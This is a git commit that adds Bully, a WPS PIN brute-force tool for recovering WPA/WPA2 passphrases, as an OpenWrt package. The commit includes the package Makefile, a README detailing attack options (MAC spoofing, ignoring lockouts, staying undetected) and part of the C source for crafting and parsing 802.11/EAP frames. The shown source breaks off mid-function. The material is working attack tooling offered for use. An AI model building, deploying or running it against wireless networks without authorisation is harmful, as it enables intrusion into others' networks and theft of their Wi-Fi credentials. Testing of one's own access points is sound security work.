Packages: Add Bully and p0f
parent
61d4a69767
commit
9f67243685
|
@ -0,0 +1,35 @@
|
|||
include $(TOPDIR)/rules.mk
|
||||
|
||||
include version.mk
|
||||
|
||||
include $(INCLUDE_DIR)/package.mk
|
||||
|
||||
define Package/bully
|
||||
SECTION:=net
|
||||
CATEGORY:=Network
|
||||
SUBMENU:=wireless
|
||||
TITLE:=Brute force attack against WPS, that actually works
|
||||
DEPENDS:=+libpcap
|
||||
endef
|
||||
|
||||
define Package/bully/description
|
||||
Brute force attack against WPS, that actually works
|
||||
endef
|
||||
|
||||
define Build/Prepare
|
||||
mkdir -p $(PKG_BUILD_DIR)
|
||||
$(CP) -rf ./src $(PKG_BUILD_DIR)/
|
||||
endef
|
||||
|
||||
CONFIGURE_PATH:=src
|
||||
|
||||
MAKE_PATH:=src
|
||||
|
||||
TARGET_CFLAGS+=$(TARGET_CPPFLAGS)
|
||||
|
||||
define Package/bully/install
|
||||
$(INSTALL_DIR) $(1)/usr/bin
|
||||
$(INSTALL_BIN) $(PKG_BUILD_DIR)/src/bully $(1)/usr/bin/
|
||||
endef
|
||||
|
||||
$(eval $(call BuildPackage,bully))
|
|
@ -0,0 +1,291 @@
|
|||
# OVERVIEW
|
||||
|
||||
Bully is a new implementation of the WPS brute force attack, written in C. It is conceptually identical
|
||||
to other programs, in that it exploits the (now well known) design flaw in the WPS specification. It has
|
||||
several advantages over the original reaver code. These include fewer dependencies, improved memory and
|
||||
cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and
|
||||
was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture.
|
||||
|
||||
Bully provides several improvements in the detection and handling of anomalous scenarios. It has been
|
||||
tested against access points from numerous vendors, and with differing configurations, with much success.
|
||||
|
||||
|
||||
# DEPENDENCIES
|
||||
|
||||
Bully requires *libpcap*. It uses WPS functionality written by Jouni Malinen; that source code
|
||||
is included in this repro for simplicity, as are libcrypto and several other sources that provide needed
|
||||
functionality.
|
||||
|
||||
Because Bully stores randomized pins and session data in normal files, there is no need for any database
|
||||
functionality.
|
||||
|
||||
|
||||
# INSTALLATION
|
||||
|
||||
Bully can be built and installed by running:
|
||||
|
||||
~/bully$ cd src
|
||||
~/bully/src$ make
|
||||
~/bully/src$ sudo make install
|
||||
|
||||
|
||||
# OPENWRT BUILDS
|
||||
|
||||
A Makefile tested in Kamikaze r18801 (2.6.26) is provided in the repository root directory. Porting to
|
||||
Backfire or another OpenWrt variant should be fairly straightforward.
|
||||
|
||||
Assuming you have ~/kamikaze as your openwrt directory and ~/bully for bully, the following steps should
|
||||
get you up and running:
|
||||
|
||||
cd ~/kamikaze
|
||||
mkdir package/bully
|
||||
cp -rf ~/bully/* ~/kamikaze/package/bully
|
||||
make menuconfig
|
||||
|
||||
Navigate to Network-->wireless and select bully (module or built-in), exit and save. If you elected to
|
||||
build as a package, type
|
||||
|
||||
make package/bully/{clean,compile} V=99
|
||||
scp bin/packages/<arch>/bully_1.1-1_<arch>.ipk root@<router-ip>/tmp
|
||||
ssh root@<router-ip>
|
||||
|
||||
enter router password,
|
||||
|
||||
opkg install /tmp/bully*ipk
|
||||
|
||||
If you chose to build bully into your firmware, make and install it as you normally would.
|
||||
|
||||
|
||||
# USAGE
|
||||
|
||||
Ensure that you are root, and are using wireless hardware that is capable of injection with a monitor mode
|
||||
interface.
|
||||
|
||||
<pre><code>
|
||||
usage: bully \<options\> interface
|
||||
Required arguments:
|
||||
interface : Wireless interface in monitor mode (root required)
|
||||
-b, --bssid macaddr : MAC address of the target access point
|
||||
Or
|
||||
-e, --essid string : Extended SSID for the access point
|
||||
Optional arguments:
|
||||
-c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
|
||||
-i, --index N : Starting pin index (7 or 8 digits) [Auto]
|
||||
-l, --lockwait N : Seconds to wait if the AP locks WPS [43]
|
||||
-o, --outfile file : Output file for messages [stdout]
|
||||
-p, --pin N : Starting pin number (7 or 8 digits) [Auto]
|
||||
-s, --source macaddr : Source (hardware) MAC address [Probe]
|
||||
-v, --verbosity N : Verbosity level 1-3, 1 is quietest [3]
|
||||
-w, --workdir path : Location of pin/session files [~/.bully/]
|
||||
-5, --5ghz : Hop on 5GHz a/n default channel list [No]
|
||||
-B, --bruteforce : Bruteforce the WPS pin checksum digit [No]
|
||||
-F, --force : Force continue in spite of warnings [No]
|
||||
-S, --sequential : Sequential pins (do not randomize) [No]
|
||||
-T, --test : Test mode (do not inject any packets) [No]
|
||||
Advanced arguments:
|
||||
-a, --acktime N : Deprecated/ignored [Auto]
|
||||
-r, --retries N : Resend packets N times when not acked [2]
|
||||
-m, --m13time N : Deprecated/ignored [Auto]
|
||||
-t, --timeout N : Deprecated/ignored [Auto]
|
||||
-1, --pin1delay M[,N] : Delay M seconds every Nth nack at M5 [0,1]
|
||||
-2, --pin2delay M[,N] : Delay M seconds every Nth nack at M7 [5,1]
|
||||
-A, --noacks : Disable ACK check for sent packets [No]
|
||||
-C, --nocheck : Skip CRC/FCS validation (performance) [No]
|
||||
-D, --detectlock : Detect WPS lockouts unreported by AP [No]
|
||||
-E, --eapfail : EAP Failure terminate every exchange [No]
|
||||
-L, --lockignore : Ignore WPS locks reported by the AP [No]
|
||||
-M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]
|
||||
-N, --nofcs : Packets don't contain the FCS field [Auto]
|
||||
-P, --probe : Use probe request for nonbeaconing AP [No]
|
||||
-Q, --wpsinfo : Use probe request to gather WPS info [No]
|
||||
-R, --radiotap : Assume radiotap headers are present [Auto]
|
||||
-W, --windows7 : Masquerade as a Windows 7 registrar [No]
|
||||
-Z, --suppress : Suppress packet throttling algorithm [No]
|
||||
-V, --version : Print version info and exit
|
||||
-h, --help : Display this help information
|
||||
</pre></code>
|
||||
|
||||
|
||||
# DESCRIPTION OF ARGUMENTS
|
||||
|
||||
-c, --channel N[,N...]
|
||||
|
||||
Channel number, or comma separated list of channels to hop on. Some AP's will switch
|
||||
channels periodically. This option allows bully to reacquire an AP and continue an attack
|
||||
without intervention. Note that using channel hopping will typically slow an attack,
|
||||
especially when the AP's signal is weak, because time is spent scanning channels instead
|
||||
of testing pins. If no channel is provided, bully will hop on all channels.
|
||||
|
||||
-i, --index N
|
||||
|
||||
This is the index of the starting pin number in the randomized pin file. This option is
|
||||
not valid when running bully in sequential pin search mode. This is typically handled
|
||||
for you automatically, i.e. an interrupted session will resume after the last pin that
|
||||
was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are
|
||||
given, zeroes are padded on the left.
|
||||
|
||||
-l, --lockwait N
|
||||
|
||||
Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so
|
||||
the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout
|
||||
period for a total of 301 seconds.
|
||||
|
||||
-o, --output file
|
||||
|
||||
By default, messages are printed to the standard output. Use this option to send output
|
||||
to the specified file instead.
|
||||
|
||||
-p, --pin N
|
||||
|
||||
This is the starting pin number. Use of this option results in a sequential pin search
|
||||
starting at the given pin. This is typically handled for you automatically, i.e. an
|
||||
interrupted session will resume after the last pin that was successfully tested. Note
|
||||
that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on
|
||||
the left.
|
||||
|
||||
-s, --source macaddr
|
||||
|
||||
The source MAC address to embed in packets sent to the AP. Not all wireless cards can be
|
||||
used to spoof the source MAC address like this, but the option is provided for chipsets
|
||||
that allow it. When not provided, the wireless interface is probed to retrieve the MAC.
|
||||
|
||||
-v, --verbosity N
|
||||
|
||||
Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level
|
||||
3 displays the most information, and is best used to determine exactly what is happening
|
||||
during a session.
|
||||
|
||||
-w, --workdir path
|
||||
|
||||
Working directory, where randomized pins and session files are stored. Session files are
|
||||
created in this directory based on the BSSID of the access point. Only one set of randomized
|
||||
pins is created, and is used for all sessions. If you want to regenerate the pin file, simply
|
||||
delete it from this directory; however incomplete runs that used the deleted file will not
|
||||
be restartable. The default directory is ~/.bully/
|
||||
|
||||
-5, --5ghz
|
||||
|
||||
Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested.
|
||||
|
||||
-B, --bruteforce
|
||||
|
||||
Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS
|
||||
specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from
|
||||
compliant software. Use of this option can result in a ten-fold increase in the time it
|
||||
takes to discover the second portion of the pin, and should only be used when necessary.
|
||||
|
||||
-F, --force
|
||||
|
||||
In certain scenarios bully will print a warning message and exit. This typically indicates that
|
||||
it is being used in a manner that is questionable for most users. Advanced users and developers
|
||||
can force continuance with this option.
|
||||
|
||||
-S, --sequential
|
||||
|
||||
By default, pins are randomized. This options allows pins to be tested sequentially.
|
||||
|
||||
-T, --test
|
||||
|
||||
Test mode. No packets are injected. Can be used to validate arguments, determine if an
|
||||
access point is visible and has WPS enabled, generate a randomized pin file, or create a
|
||||
session file for the access point.
|
||||
|
||||
-a, --acktime N
|
||||
|
||||
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
|
||||
|
||||
-r, --retries N
|
||||
|
||||
How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to
|
||||
make a best effort to ensure the AP receives every packet we send, rather than have transactions
|
||||
fail and restart due to a missed packet.
|
||||
|
||||
-m, --m13time N
|
||||
|
||||
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
|
||||
|
||||
-t, --timeout N
|
||||
|
||||
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
|
||||
|
||||
-1, --pin1delay M[,N]
|
||||
|
||||
Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points
|
||||
get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial
|
||||
things back a bit. This is the delay period to use during the first half of the pin.
|
||||
|
||||
-2, --pin2delay M[,N]
|
||||
|
||||
Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points
|
||||
handle transactions through M4 easily, only to fall down on too many successive M6 messages.
|
||||
This is the delay period to use during the second half of the pin.
|
||||
|
||||
-A, --noacks
|
||||
|
||||
Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is
|
||||
receiving packets even though bully can't see acknowledgements. You might need this for a USB
|
||||
wifi adapter that processes acknowledgements and drops them before libpcap ever sees them.
|
||||
|
||||
-C, --nocheck
|
||||
|
||||
Turn off frame check sequence processing. We can improve performance somewhat by making the
|
||||
dubious assumption that all packets we receive are valid. See also --nofcs below.
|
||||
|
||||
-D, --detectlock
|
||||
|
||||
Certain access points do not indicate that they have locked WPS in their beacon IE tags, but
|
||||
summarily ignore all WPS transactions for a period of time. With this option, we can detect the
|
||||
condition and sleep for --lockdelay seconds before resuming. In the interests of remaining
|
||||
undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages.
|
||||
|
||||
-E, --eapfail
|
||||
|
||||
Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this.
|
||||
|
||||
-L, --lockignore
|
||||
|
||||
Ignore WPS lock conditions reported in beacon information elements (don't sleep).
|
||||
|
||||
-M, --m57nack
|
||||
|
||||
Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead
|
||||
drop the transaction. When using this option you will probably want to increase the --timeout
|
||||
value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message.
|
||||
|
||||
-N, --nofcs
|
||||
|
||||
Some wireless hardware will have done the work of checking and stripping the FCS from packets
|
||||
already. Bully usually detects this and adjusts accordingly, but the option is here if you need
|
||||
to force it.
|
||||
|
||||
-P, --probe
|
||||
|
||||
Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send
|
||||
directed probe requests and use the resulting probe responses instead. Requires --essid.
|
||||
|
||||
-Q, --wpsinfo
|
||||
|
||||
Send directed probe requests to gather information about the WPS configuration of the target.
|
||||
|
||||
-R, --radiotap
|
||||
|
||||
Assume radiotap headers are present in received packets. This is useful in cases where presence
|
||||
of radiotap headers is incorrectly reported or detected.
|
||||
|
||||
-Z, --suppress
|
||||
|
||||
Suppress automatic timimg algorithm and instead use default timings for received packets. NOT
|
||||
RECOMMENDED.
|
||||
|
||||
-W, --windows7
|
||||
|
||||
Masquerade as a Windows 7 registrar.
|
||||
|
||||
-V, --version
|
||||
|
||||
Print version information to standard output and exit.
|
||||
|
||||
-h, --help
|
||||
|
||||
Display onscreen help.
|
||||
|
|
@ -0,0 +1,866 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include "80211.h"
|
||||
#include "frame.h"
|
||||
|
||||
|
||||
int parse_packet(frame_t *fp, uint8 *pack, int len, int has_rth, int has_fcs)
|
||||
{
|
||||
rth_t *rth = (rth_t*)pack;
|
||||
int rthl = (has_rth ? le16toh(rth->it_len) : 0);
|
||||
|
||||
mac_t *mac = (mac_t*)(pack + rthl);
|
||||
int macl = MAC_SIZE_NORM;
|
||||
if (mac->type == MAC_TYPE_CTRL) {
|
||||
if (mac->subtype == MAC_ST_RTS)
|
||||
macl = MAC_SIZE_RTS;
|
||||
else if (mac->subtype == MAC_ST_ACK)
|
||||
macl = MAC_SIZE_ACK;
|
||||
}
|
||||
else if (mac->type == MAC_TYPE_DATA)
|
||||
if (mac->subtype & MAC_ST_QOSDATA)
|
||||
macl += QOS_SIZE;
|
||||
|
||||
int fcsl = (has_fcs ? 4 : 0);
|
||||
fcs_t *fcs = (fcs_t*)(pack + len - fcsl);
|
||||
|
||||
uint8 *pay = ((uint8*)mac) + macl;
|
||||
int plen = ((uint8*)fcs) - pay;
|
||||
|
||||
fp[F_ALL].data = uc(pack);
|
||||
fp[F_ALL].size = len;
|
||||
fp[F_TAP].data = uc(rth);
|
||||
fp[F_TAP].size = rthl;
|
||||
fp[F_MAC].data = uc(mac);
|
||||
fp[F_MAC].size = macl;
|
||||
fp[F_PAY].data = uc(pay);
|
||||
fp[F_PAY].size = plen;
|
||||
fp[F_FCS].data = uc(fcs);
|
||||
fp[F_FCS].size = fcsl;
|
||||
|
||||
if (mac->type == MAC_TYPE_DATA
|
||||
&& LLC_SIZE <= plen && be16toh(((llc_t*)pay)->type) == LLC_TYPE_AUTH) {
|
||||
fp[F_PAY].list = &fp[F_LLC];
|
||||
|
||||
llc_t *llc = (llc_t*)pay;
|
||||
int llcl = LLC_SIZE;
|
||||
pay += llcl;
|
||||
plen -= llcl;
|
||||
|
||||
d1x_t *d1x = (d1x_t*)pay;
|
||||
int d1xl = D1X_SIZE;
|
||||
pay += d1xl;
|
||||
plen -= d1xl;
|
||||
|
||||
eap_t *eap = (eap_t*)pay;
|
||||
int eapl = (d1xl && d1x->type == D1X_TYPE_EAP ? EAP_SIZE : 0);
|
||||
pay += eapl;
|
||||
plen -= eapl;
|
||||
|
||||
wfa_t *wfa = (wfa_t*)pay;
|
||||
int wfal = (eapl && eap->type == EAP_TYPE_EXPAND ? WFA_SIZE : 0);
|
||||
if (wfal)
|
||||
if (memcmp(wfa->vid, WFA_VENDOR, sizeof(wfa->vid)) != 0
|
||||
|| be32toh(wfa->type) != WFA_SIMPLECONF)
|
||||
wfal = 0;
|
||||
pay += wfal;
|
||||
plen -= wfal;
|
||||
|
||||
vtag_t *msg = (vtag_t*)pay;
|
||||
int msgl = (wfal ? be16toh(eap->len) - (eapl + wfal) : 0);
|
||||
pay += msgl;
|
||||
plen -= msgl;
|
||||
|
||||
fp[F_LLC].data = uc(llc);
|
||||
fp[F_LLC].size = llcl;
|
||||
fp[F_D1X].data = uc(d1x);
|
||||
fp[F_D1X].size = d1xl;
|
||||
fp[F_EAP].data = uc(eap);
|
||||
fp[F_EAP].size = eapl;
|
||||
fp[F_WFA].data = uc(wfa);
|
||||
fp[F_WFA].size = wfal;
|
||||
fp[F_MSG].data = uc(msg);
|
||||
fp[F_MSG].size = msgl;
|
||||
fp[F_IDK].data = uc(pay);
|
||||
fp[F_IDK].size = plen;
|
||||
|
||||
if (eapl && eap->code == EAP_CODE_FAIL)
|
||||
return EAPFAIL;
|
||||
}
|
||||
else
|
||||
fp[F_PAY].list = NULL;
|
||||
|
||||
return SUCCESS;
|
||||
};
|
||||
|
||||
|
||||
uint8 *build_packet(uint8 *pack, int plen, uint8 *msg, int mlen)
|
||||
{
|
||||
int len = plen + mlen;
|
||||
uint8 *buf = malloc(len);
|
||||
memcpy(buf, pack, plen);
|
||||
memcpy(&buf[len - 4], &buf[plen - 4], 4);
|
||||
memcpy(&buf[plen - 4], msg, mlen);
|
||||
return buf;
|
||||
};
|
||||
|
||||
|
||||
tag_t *find_tag(void *tagp, int tagl, uint8 id, int len, uint8 *vid, int vlen)
|
||||
{
|
||||
tag_t *tag = (tag_t*)tagp;
|
||||
while (0 < tagl) {
|
||||
if (id && tag->id != id)
|
||||
goto next_tag;
|
||||
if (len && tag->len != len)
|
||||
goto next_tag;
|
||||
if (id != TAG_VEND || vid == NULL || vlen == 0)
|
||||
return tag;
|
||||
if (memcmp(vid, tag->data, vlen) == 0)
|
||||
return tag;
|
||||
|
||||
next_tag:
|
||||
tagl -= tag->len + TAG_SIZE;
|
||||
tag = (tag_t*)((uint8*)tag + tag->len + TAG_SIZE);
|
||||
};
|
||||
if (tagl)
|
||||
vprint("[!] Information element tag(s) extend past end of frame\n");
|
||||
return NULL;
|
||||
};
|
||||
|
||||
|
||||
int get_oui_vendor(void *tagp, int tagl, uint8 *oui)
|
||||
{
|
||||
#define MIN_OUI_TAG_LEN 6
|
||||
#define MAX_OUI_TAG_LEN 9
|
||||
#define SINGLETON_LEN 10
|
||||
|
||||
uint8 singleton[3] = "\x00\x03\x7f";
|
||||
|
||||
tag_t *tag = (tag_t*)tagp;
|
||||
while (0 < tagl) {
|
||||
if (tag->id != TAG_VEND)
|
||||
goto next_tag;
|
||||
if (tag->len >= MIN_OUI_TAG_LEN && tag->len <= MAX_OUI_TAG_LEN) {
|
||||
if (tag->data[3] == 2 || tag->data[3] == 4 || tag->data[3] == 7 || tag->data[3] == 1
|
||||
|| tag->data[3] == 0 || tag->data[3] == 3) {
|
||||
|
||||
memcpy(oui, tag->data, 3);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
goto next_tag;
|
||||
};
|
||||
}
|
||||
else {
|
||||
if (tag->len == SINGLETON_LEN && !memcmp(singleton, tag->data, 3)) {
|
||||
memcpy(oui, tag->data, 3);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
goto next_tag;
|
||||
};
|
||||
};
|
||||
|
||||
next_tag:
|
||||
tagl -= tag->len + TAG_SIZE;
|
||||
tag = (tag_t*)((uint8*) tag + tag->len + TAG_SIZE);
|
||||
};
|
||||
if (tagl)
|
||||
vprint("[!] Information element tag(s) extend past end of frame\n");
|
||||
return 0;
|
||||
};
|
||||
|
||||
|
||||
vtag_t *find_vtag(void *vtagp, int vtagl, uint8 *vid, int vlen)
|
||||
{
|
||||
vtag_t *vtag = (vtag_t*)vtagp;
|
||||
while (0 < vtagl) {
|
||||
if (vid && memcmp(vid, &vtag->id, 2) != 0)
|
||||
goto next_vtag;
|
||||
if (!vlen || be16toh(vtag->len) == vlen);
|
||||
return vtag;
|
||||
|
||||
next_vtag:
|
||||
vtagl -= be16toh(vtag->len) + VTAG_SIZE;
|
||||
vtag = (vtag_t*)((uint8*) vtag + be16toh(vtag->len) + VTAG_SIZE);
|
||||
};
|
||||
if (vtagl)
|
||||
vprint("[!] Information element tag(s) extend past end of frame\n");
|
||||
return NULL;
|
||||
};
|
||||
|
||||
|
||||
char *build_dev_passw_id(const uint16 passw_id, char *sbuf) {
|
||||
sbuf[0] = '\0';
|
||||
switch (passw_id) {
|
||||
case 0: strcpy(sbuf, "Default (PIN)"); break;
|
||||
case 1: strcpy(sbuf, "User-specified"); break;
|
||||
case 2: strcpy(sbuf, "Machine-specified"); break;
|
||||
case 3: strcpy(sbuf, "Rekey"); break;
|
||||
case 4: strcpy(sbuf, "PushButton"); break;
|
||||
case 5: strcpy(sbuf, "Registrar-specified"); break;
|
||||
default: break;
|
||||
};
|
||||
return sbuf;
|
||||
};
|
||||
|
||||
|
||||
char *build_dev_type_string(const uint16 cat, const uint16 scat, char *sbuf)
|
||||
{
|
||||
char *origin = sbuf;
|
||||
sbuf[0] = '\0';
|
||||
switch (cat) {
|
||||
case 1:
|
||||
strcpy(sbuf, "Computer");
|
||||
sbuf += 8;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", PC"); break;
|
||||
case 2: strcpy(sbuf, ", Server"); break;
|
||||
case 3: strcpy(sbuf, ", Media center"); break;
|
||||
case 4: strcpy(sbuf, ", Ultra-mobile PC"); break;
|
||||
case 5: strcpy(sbuf, ", Notebook"); break;
|
||||
case 6: strcpy(sbuf, ", Desktop"); break;
|
||||
case 7: strcpy(sbuf, ", Mobile Internet Device"); break;
|
||||
case 8: strcpy(sbuf, ", Netbook"); break;
|
||||
case 9: strcpy(sbuf, ", Tablet"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 2:
|
||||
strcpy(sbuf, "Input Device");
|
||||
sbuf += 12;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Keyboard"); break;
|
||||
case 2: strcpy(sbuf, ", Mouse"); break;
|
||||
case 3: strcpy(sbuf, ", Joystick"); break;
|
||||
case 4: strcpy(sbuf, ", Trackball"); break;
|
||||
case 5: strcpy(sbuf, ", Gaming controller"); break;
|
||||
case 6: strcpy(sbuf, ", Remote"); break;
|
||||
case 7: strcpy(sbuf, ", Touchscreen"); break;
|
||||
case 8: strcpy(sbuf, ", Biometric reader"); break;
|
||||
case 9: strcpy(sbuf, ", Barcode reader"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 3:
|
||||
strcpy(sbuf, "Printer/Scanner");
|
||||
sbuf += 15;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Printer"); break;
|
||||
case 2: strcpy(sbuf, ", Scanner"); break;
|
||||
case 3: strcpy(sbuf, ", Fax"); break;
|
||||
case 4: strcpy(sbuf, ", Copier"); break;
|
||||
case 5: strcpy(sbuf, ", All-in-one"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 4:
|
||||
strcpy(sbuf, "Camera");
|
||||
sbuf += 6;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Printer"); break;
|
||||
case 2: strcpy(sbuf, ", Scanner"); break;
|
||||
case 3: strcpy(sbuf, ", Fax"); break;
|
||||
case 4: strcpy(sbuf, ", Copier"); break;
|
||||
case 5: strcpy(sbuf, ", All-in-one"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 5:
|
||||
strcpy(sbuf, "Storage");
|
||||
sbuf += 7;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", NAS"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 6:
|
||||
strcpy(sbuf, "Network Infrastructure");
|
||||
sbuf += 22;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", AP"); break;
|
||||
case 2: strcpy(sbuf, ", Router"); break;
|
||||
case 3: strcpy(sbuf, ", Switch"); break;
|
||||
case 4: strcpy(sbuf, ", Gateway"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 7:
|
||||
strcpy(sbuf, "Display");
|
||||
sbuf += 7;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Television"); break;
|
||||
case 2: strcpy(sbuf, ", Electronic Picture Frame"); break;
|
||||
case 3: strcpy(sbuf, ", Projector"); break;
|
||||
case 4: strcpy(sbuf, ", Monitor"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 8:
|
||||
strcpy(sbuf, "Multimedia Device");
|
||||
sbuf += 17;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", DAR"); break;
|
||||
case 2: strcpy(sbuf, ", PVR"); break;
|
||||
case 3: strcpy(sbuf, ", MCX"); break;
|
||||
case 4: strcpy(sbuf, ", Set-top box"); break;
|
||||
case 5: strcpy(sbuf, ", Media server/adapter/extender"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 9:
|
||||
strcpy(sbuf, "Gaming Device");
|
||||
sbuf += 13;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Xbox"); break;
|
||||
case 2: strcpy(sbuf, ", Xbox360"); break;
|
||||
case 3: strcpy(sbuf, ", Playstation"); break;
|
||||
case 4: strcpy(sbuf, ", Game console/adapter"); break;
|
||||
case 5: strcpy(sbuf, ", Portable gaming device"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 10:
|
||||
strcpy(sbuf, "Telephone");
|
||||
sbuf += 9;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Windows Mobile"); break;
|
||||
case 2: strcpy(sbuf, ", Phone - single mode"); break;
|
||||
case 3: strcpy(sbuf, ", Phone - dual mode"); break;
|
||||
case 4: strcpy(sbuf, ", Smartphone - single mode"); break;
|
||||
case 5: strcpy(sbuf, ", Smartphone - dual mode"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
case 11:
|
||||
strcpy(sbuf, "Audio Device");
|
||||
sbuf += 12;
|
||||
switch (scat) {
|
||||
case 1: strcpy(sbuf, ", Audio tuner/receiver"); break;
|
||||
case 2: strcpy(sbuf, ", Speakers"); break;
|
||||
case 3: strcpy(sbuf, ", Portable Music Player"); break;
|
||||
case 4: strcpy(sbuf, ", Headset"); break;
|
||||
case 5: strcpy(sbuf, ", Headphones"); break;
|
||||
case 6: strcpy(sbuf, ", Microphone"); break;
|
||||
case 7: strcpy(sbuf, ", Home Threater Systems"); break;
|
||||
default: break;
|
||||
};
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
};
|
||||
return origin;
|
||||
};
|
||||
|
||||
|
||||
char *build_conf_methods_string(const uint16 method, char *sbuf)
|
||||
{
|
||||
int offset = 0;
|
||||
sbuf[0] = '\0';
|
||||
if (method & WPS_CONF_LABEL) {
|
||||
strcpy(sbuf, "Label");
|
||||
offset = 5;
|
||||
};
|
||||
if (method & WPS_CONF_DISPLAY) {
|
||||
if (offset) {
|
||||
strcat(sbuf + offset, ", ");
|
||||
offset += 2;
|
||||
};
|
||||
strcat(sbuf + offset, "Display");
|
||||
offset += 7;
|
||||
};
|
||||
if (method & WPS_CONF_PUSH_BTN) {
|
||||
if (offset) {
|
||||
strcat(sbuf + offset, ", ");
|
||||
offset += 2;
|
||||
};
|
||||
strcat(sbuf + offset, "Push Button");
|
||||
offset += 11;
|
||||
};
|
||||
if (method & WPS_CONF_KEYPAD) {
|
||||
if (offset) {
|
||||
strcat(sbuf + offset, ", ");
|
||||
offset += 2;
|
||||
};
|
||||
strcat(sbuf + offset, "Keypad");
|
||||
offset += 6;
|
||||
};
|
||||
if (method & WPS_CONF_ETHERNET) {
|
||||
if (offset) {
|
||||
strcat(sbuf + offset, ", ");
|
||||
offset += 2;
|
||||
};
|
||||
strcat(sbuf + offset, "Ethernet");
|
||||
offset += 8;
|
||||
};
|
||||
if (method & WPS_CONF_USB) {
|
||||
if (offset) {
|
||||
strcat(sbuf + offset, ", ");
|
||||
offset += 2;
|
||||
};
|
||||
strcat(sbuf + offset, "USB");
|
||||
offset += 3;
|
||||
};
|
||||
return sbuf;
|
||||
};
|
||||
|
||||
|
||||
uint8 *build_ietags(tag_t *tags[], int *tagl)
|
||||
{
|
||||
tag_t **scan = tags;
|
||||
uint8 *buf, *out;
|
||||
int len = 0;
|
||||
while (*scan) {
|
||||
len += (*scan++)->len + sizeof(tag_t);
|
||||
};
|
||||
*tagl = len;
|
||||
out = buf = malloc(len);
|
||||
while (*tags) {
|
||||
memcpy(buf, *tags, (*tags)->len + sizeof(tag_t));
|
||||
buf += (*tags++)->len + sizeof(tag_t);
|
||||
};
|
||||
return out;
|
||||
};
|
||||
|
||||
|
||||
int next_packet(struct global *G, uint8 type, uint8 subtype, uint8 *dest, uint8 *src,
|
||||
int pkt, int parse)
|
||||
{
|
||||
struct timeval timeout, begin;
|
||||
|
||||
uint8 *pack;
|
||||
int len, fc = 0, time;
|
||||
|
||||
gettimeofday(&begin, 0);
|
||||
|
||||
if (times[pkt].user)
|
||||
set_timer(&timeout, times[pkt].user);
|
||||
else if (G->suppress)
|
||||
set_timer(&timeout, times[pkt].def);
|
||||
else
|
||||
set_timer(&timeout, times[pkt].avg + (times[pkt].avg >> 3) + 5);
|
||||
|
||||
while (!ctrlc || START_EAPOL < G->state) {
|
||||
|
||||
if (check_timer(&timeout)) {
|
||||
times[pkt].avg =
|
||||
(times[pkt].avg * times[pkt].count + times[pkt].max) / (times[pkt].count + 1);
|
||||
times[pkt].count++;
|
||||
return TIMEOUT;
|
||||
};
|
||||
|
||||
if ((pack = (uint8*)pcap_next(G->pfd, G->phdr)) == 0)
|
||||
continue;
|
||||
if ((len = G->phdr->len) == 0)
|
||||
continue;
|
||||
|
||||
rth_t *rth = (rth_t*)pack;
|
||||
